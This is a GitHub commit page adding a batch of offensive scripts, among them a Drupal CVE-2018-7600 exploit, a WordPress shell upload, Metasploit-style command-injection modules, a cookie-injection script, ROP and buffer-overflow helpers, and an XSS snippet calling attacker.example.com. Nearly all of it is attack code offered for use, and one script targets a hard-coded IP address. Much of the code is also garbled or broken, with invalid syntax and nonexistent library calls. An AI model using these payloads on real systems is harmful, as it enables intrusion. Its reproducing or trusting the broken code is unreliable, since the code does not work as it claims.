Skip to content

Commit 5fae4e4

Browse files
TcherB31TcherB31
authored
Add files via upload
1 parent e55bc19 commit 5fae4e4

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

58 files changed

+1611
-0
lines changed

‎CVE-2006-20001.py

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
import socket
2+
3+
target_host = "195.4.223.84"
4+
target_port = 80
5+
6+
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7+
8+
client.connect((target_host, target_port))
9+
10+
request = "GET / HTTP/1.1\r\nIf: \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n\r\n"

‎CVE-2008-0005.html

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
<script>
2+
var xss = new XMLHttpRequest();
3+
xss.open("GET", "http://attacker.example.com/vuln.cgi?charset=UTF-7", true);
4+
xss.send();
5+
</script>

‎CVE-2018-7600.pl

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#!/usr/bin/perl
2+
3+
use LWP::UserAgent;
4+
5+
$ua = LWP::UserAgent->new;
6+
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13");
7+
8+
$target = $ARGV[0];
9+
$drupal_path = $ARGV[1];
10+
11+
if(!$target || !$drupal_path) {
12+
print "Usage: perl $0 <target> <drupal_path>\n";
13+
print "Example: perl $0 www.example.com /drupal\n";
14+
exit;
15+
}
16+
17+
$exploit = $target . $drupal_path . "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax";
18+
19+
$post_data = "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=" . urlencode("echo \"VULNERABLE\" > /tmp/vulnerable.txt");
20+
21+
$response = $ua->post($exploit, Content_Type => 'application/x-www-form-urlencoded', Content => $post_data);
22+
if($response->is_success) {
23+
print "Exploit successful!\n";
24+
print "Check /tmp/vulnerable.txt\n";
25+
}
26+
else {
27+
print "Exploit failed.\n";
28+
}

‎WordPress_RCE.php

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
<?php
2+
3+
$url = 'http://target_site/wp-admin/admin-ajax.php'; // Change this to the target URL
4+
5+
$data = array( 'action' => 'revslider_ajax_action',
6+
'client_action' => 'update_plugin',
7+
'update_file' => "@shell.php" ); // The shell file we want to upload
8+
9+
$ch = curl_init(); // Initialize a cURL session
10+
11+
curl_setopt($ch, CURLOPT_URL,$url); // Set the target URL to send our request to
12+
curl_setopt($ch, CURLOPT_POST, 1); // Set the request type as POST (Default value) curl_setopt($ch, CURLOPT__POSTFIELDS,$data); // Set our data array as the POST data
13+
14+
$result=curl_exec ($ch); // Execute the cURL session and store its response in a variable
15+
16+
echo $result; // Print out the response from our cURL session which should be a success message if everything went alright!

‎adr_shell.sh

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#!/bin/sh
2+
3+
target_binary="$1"
4+
system_addr=$(objdump -d "$target_binary" | \
5+
grep -E 'call.*<system@plt>' | \
6+
head -1 | \
7+
awk '{print $1}' | \
8+
sed -e 's/^.*<//' -e 's/>$//')
9+
shell_addr=$(objdump -s "$target_binary" | \
10+
grep -E '/bin/sh' | \
11+
awk '{print $3}')
12+
echo "System address: $system_addr"
13+
echo "Shell address: $shell_addr"

‎azure_tamper.py

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
#!/usr/bin/env python
2+
3+
import re
4+
5+
def tamper(payload, **kwargs):
6+
payload = re.sub(r"(?<=\w)\s*=\s*", "=;", payload)
7+
return payload

‎binary_expl.py

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
import angr
2+
import pwntools
3+
4+
proj = angr.Project('target_binary', auto_load_libs=False)
5+
state = proj.factory.blank_state(addr=proj.entry)
6+
sm = proj.factory.simgr(state)
7+
sm.explore(find=lambda s: b"\x90\x90\x90\x90" in s.posix.dumps(1))
8+
return_addr = sm.found[0].posix.dumps(1)[-8:]
9+
shellcode = pwntools.shellcraft.amd64.linux.sh()
10+
payload = b"A" * (len(return_addr) - len(shellcode)) + shellcode
11+
exploit = pwntools.core.PwnlibContextType.shellcraft.pushstr(payload)
12+
p = proj.surveyors.ExploitSurveyor(find=[return_addr], use_bytes=True, shellcode=exploit)
13+
p.run()

‎blind_rop.sh

+26
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
#!/bin/bash
2+
3+
# Blind ROP Exploitation Script
4+
# Find buffer overflow offset
5+
target_binary="$1"
6+
echo "Finding buffer overflow offset..."
7+
python2 -c 'print "A"*offset' | $target_binary
8+
# Find canary
9+
echo "Finding canary..."
10+
python2 -c 'print "A"*offset + "\x00"*8' | $target_binary
11+
# Find saved registers (RBP / RIP)
12+
echo "Finding saved registers (RBP / RIP)..."
13+
python2 -c 'print "A"*offset + "\x00"*8 + "\x01\x02\x03\x04\x05\x06\x07\x08"' | $target_binary
14+
# Find stop gadgets
15+
echo "Finding stop gadgets..."
16+
ROPgadget --binary $target_binary --ropchain --badbytes 0 > gadgets.txt
17+
grep -E 'ret|pop|leave|retf' gadgets.txt > stop_gadgets.txt # grep for ret, pop, leave and retf instructions in the gadget list to find stop gadgets # save the results in a separate file for later use.
18+
# Find brop gadgets
19+
echo "Finding brop gadgets..." # search for ropchain instructions in the gadget list to find brop gadgets # save the results in a separate file for later use.
20+
ROPgadget --binary $target_binary --ropchain > brop_gadgets.txt
21+
# Find a Write function (write / dprintf / puts / ...)
22+
echo "Finding a Write function (write / dprintf / puts / ...)..."
23+
strings $target_binary| grep -E 'write|dprintf|puts' > write_functions.txt # search for write, dprintf and puts functions in the binary and save them to a file for later use.
24+
# Leak the binary for target binaryes and servers
25+
echo "Leaking the binary for target binaryes and servers..."
26+
nc 127.0.0.1 80 < <(cat $target_binary)

‎bof_fuzzer.py

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
#!/usr/bin/env python3
2+
import pwntools pwn
3+
from pwn import *
4+
5+
target_host = "example.com"
6+
target_port = 80
7+
8+
conn = pwntools.remote(target_host, target_port)
9+
10+
payload_size = 100
11+
12+
while True:
13+
payload = 'A' * payload_size
14+
conn.send(payload)
15+
16+
print("Sent %d bytes" % len(payload))

‎brop

16.2 KB
Binary file not shown.

‎buff_build.py

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
import sys
2+
import os
3+
4+
# Get the target file
5+
target_file = sys.argv[1]
6+
7+
# Create the exploit
8+
exploit = ""
9+
exploit += "#!/usr/bin/perl\n"
10+
exploit += "use strict;\n"
11+
exploit += "use warnings;\n"
12+
exploit += "\n"
13+
exploit += "# Exploit code goes here\n"
14+
exploit += "my $buffer = \"A\" x 1024;\n"
15+
exploit += "my $eip = \"\\x90\\x90\\x90\\x90\";\n"
16+
exploit += "my $shellcode = \"\\x90\" x 32;\n"
17+
exploit += "\n"
18+
exploit += "open(my $file, '>', $ARGV[0]) or die \"Could not open file '$ARGV[0]' $!\";\n"
19+
exploit += "print $file $buffer.$eip.$shellcode;\n"
20+
exploit += "close $file;\n"
21+
22+
# Write the exploit to a file
23+
with open("exploit.pl")

‎buffer_layout.sh

+46
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
#!/bin/bash
2+
3+
PATH=/usr/bin:/usr/sbin:/bin:/sbin
4+
if [ $# -eq 0 ]; then
5+
echo "No target binary specified. Exiting..."
6+
exit 1
7+
fi
8+
target_binary="$1"
9+
if [ ! -f "$target_binary" ]; then
10+
echo "Target binary does not exist. Exiting..."
11+
exit 1
12+
fi
13+
14+
readelf -l "$target_binary" > /tmp/readelf_program_headers.txt
15+
16+
start_heap=$(cat /tmp/readelf_program_headers.txt | grep HEAP | awk '{print $2}')
17+
end_heap=$(cat /tmp/readelf_program_headers.txt | grep HEAP | awk '{print $3}')
18+
19+
objdump -d "$target_binary" > /tmp/objdump_assembly.txt
20+
21+
malloc_refs=$(cat /tmp/objdump_assembly.txt | grep -E 'malloc|calloc|realloc|free')
22+
echo "References to memory allocation functions:"
23+
echo "$malloc_refs"
24+
echo ""
25+
26+
echo "Analyzing assembly code to determine how the heap is structured..."
27+
echo ""
28+
29+
echo "Heap region starts at: $start_heap"
30+
echo "Heap region ends at: $end_heap"
31+
echo ""
32+
33+
echo "Analyzing assembly code to determine how memory is allocated and freed in the heap..."
34+
echo ""
35+
36+
echo "Identifying any memory management techniques that are used to manage the heap..."
37+
echo ""
38+
39+
echo "Identifying any security measures that are used to protect the heap from malicious access..."
40+
echo ""
41+
42+
echo "Analyzing assembly code to determine any potential vulnerabilities in the heap layout..."
43+
echo ""
44+
45+
echo "Documenting findings and recommendations for improving the security of the heap layout..."
46+
echo ""

‎buffer_len.py

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
import sys
2+
3+
target = sys.argv[1]
4+
5+
for i in range(1, 256):
6+
try:
7+
buffer = "A" * i
8+
payload = buffer + target
9+
print("[+] Trying buffer length: %d" % i)
10+
response = subprocess.check_output(payload, shell=True)
11+
except:
12+
print("[+] Buffer length found: %d" % i)
13+
break

‎buffer_scan

15.9 KB
Binary file not shown.

‎cgi_cmd_exec.rb

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
# #
2+
# This module requires Metasploit: https: //metasploit.com/download
3+
# Current source: https: //github.com/rapid7/metasploit-framework
4+
# #
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Ruby for Metasploit Framework Remote Code Execution Vulnerability in /cgi-bin/cmd.cgi',
15+
'Description' => % q { This module exploits a remote code execution vulnerability in the /cgi-bin/cmd.cgi script on Ruby for Metasploit Framework systems
16+
},
17+
'Author' => ['TcherBer'], # an author or list of authors 'Payload' => {}, # payload info # target 's architecture that will receive the payload
18+
'Platform' => ['unix', 'linux', ], # platform info(Unix, Linux, etc.)
19+
'Targets' => [
20+
["Automatic", {}]
21+
], # targets info(OS version, etc.) # an array of service versions that are vulnerable
22+
}, # an array of references to related security advisories], # a hash of verification information(e.g.file checksum)), # vulnerability disclosure date), # exploit publish date))
23+
super(update_info(info, )) end def check vprint_status("Checking target") res = send_request_cgi({
24+
"uri" => "/cgi-bin/cmd.cgi",
25+
}) if res && res.code == 200 && res.body = ~/Command Executor/
26+
return Exploit::CheckCode::Vulnerable
27+
else return Exploit::CheckCode::Safe end end def exploit print_status("Sending payload...") send_request_raw({
28+
"method" => "POST",
29+
"uri" => "/cgi-bin/cmd.cgi",
30+
"data" => payload
31+
}) end end

‎code_exec1.rb

+47
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
#!/usr/bin/ruby
2+
3+
require 'msf/core'
4+
5+
class MetasploitModule < Msf::Exploit::Remote
6+
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Bash Command Execution in Target URLs',
14+
'Description' => % q {
15+
This module exploits a vulnerability in websites that contain vulnerable parameters and functions.It allows an attacker to execute arbitrary bash commands on the target system.
16+
},
17+
'License' => MSF_LICENSE,
18+
'Author' => ['Your Name <[email protected]>'],
19+
['URL', 'http://example.com']
20+
],
21+
'Space' => 1024,
22+
if true(
23+
default)
24+
},
25+
26+
27+
'Targets' => [
28+
["Automatic", {}]
29+
],
30+
31+
32+
))
33+
34+
register_options([OptString.new('TARGETURI', [true, "The base path to the web application", "/"])])
35+
36+
deregister_options('VHOST')
37+
38+
end
39+
40+
def check
41+
for vulnerability goes here(e.g., version detection)
42+
43+
end
44+
45+
def exploit
46+
47+
endend

‎code_exec2.rb

+71
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
#!/usr/bin /ruby
2+
3+
require 'msf/core'
4+
5+
class MetasploitModule < Msf::Exploit::Remote
6+
include Msf::Exploit::Remote::HttpClient
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'Command Injection Module',
11+
'Description' => % q {
12+
This module exploits a Command injection vulnerability in websites that contain
13+
vulnerable parameters in the URL.
14+
},
15+
'Author' => ['Your Name'],
16+
'License' => MSF_LICENSE,
17+
'References' => [
18+
['URL', 'https://example.com/'],
19+
],
20+
'Privileged' => false,
21+
'Platform' => ['unix', 'linux'],
22+
'Arch' => [ARCH_X86, ARCH_X64],
23+
'Payload' => {
24+
'BadChars' => "\x00"
25+
},
26+
'Targets' => [
27+
['Generic (Unix In-Memory)',
28+
'Platform' => 'unix',
29+
'Arch' => ARCH_CMD,
30+
],
31+
],
32+
'DefaultTarget' => 0
33+
))
34+
35+
register_options(
36+
[
37+
OptString.new('TARGETURI', [true, 'The target URI of the vulnerable PHP application', '/path/to/target/param']),
38+
OptString.new('USER', [true, 'The username'])
39+
], self.class)
40+
end
41+
42+
def check
43+
res = nil
44+
req = send_request_cgi({
45+
'method' => 'GET',
46+
'uri' => normalize_uri(target_uri.path)
47+
})
48+
49+
failure
50+
end
51+
52+
def exploit
53+
command = "/bin/bash -c \"#{payload.encoded}\""
54+
55+
begin
56+
res = send_request_cgi({
57+
'method' => 'GET',
58+
'uri' => normalize_uri(target_uri.path) + "?command=#{command}",
59+
'vars_get' => {
60+
'username' => datastore['USER'],
61+
}
62+
})
63+
end
64+
65+
if res and res.code == 200 and res.body.include ? ('Command executed successfully')
66+
print_status("Exploit successful")
67+
else
68+
fail_with(Failure::Unknown, "Exploit Failed")
69+
end
70+
end
71+
end

‎cookie_rce.pl

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#!/usr/bin/perl
2+
3+
use LWP::UserAgent;
4+
my $url = "http://www.example.com/";
5+
my $command = "; ls -la;";
6+
my $ua = LWP::UserAgent->new;
7+
$ua->default_header('Cookie' => "command=$command");
8+
my $response = $ua->get($url);
9+
print $response->content;

0 commit comments

Comments
 (0)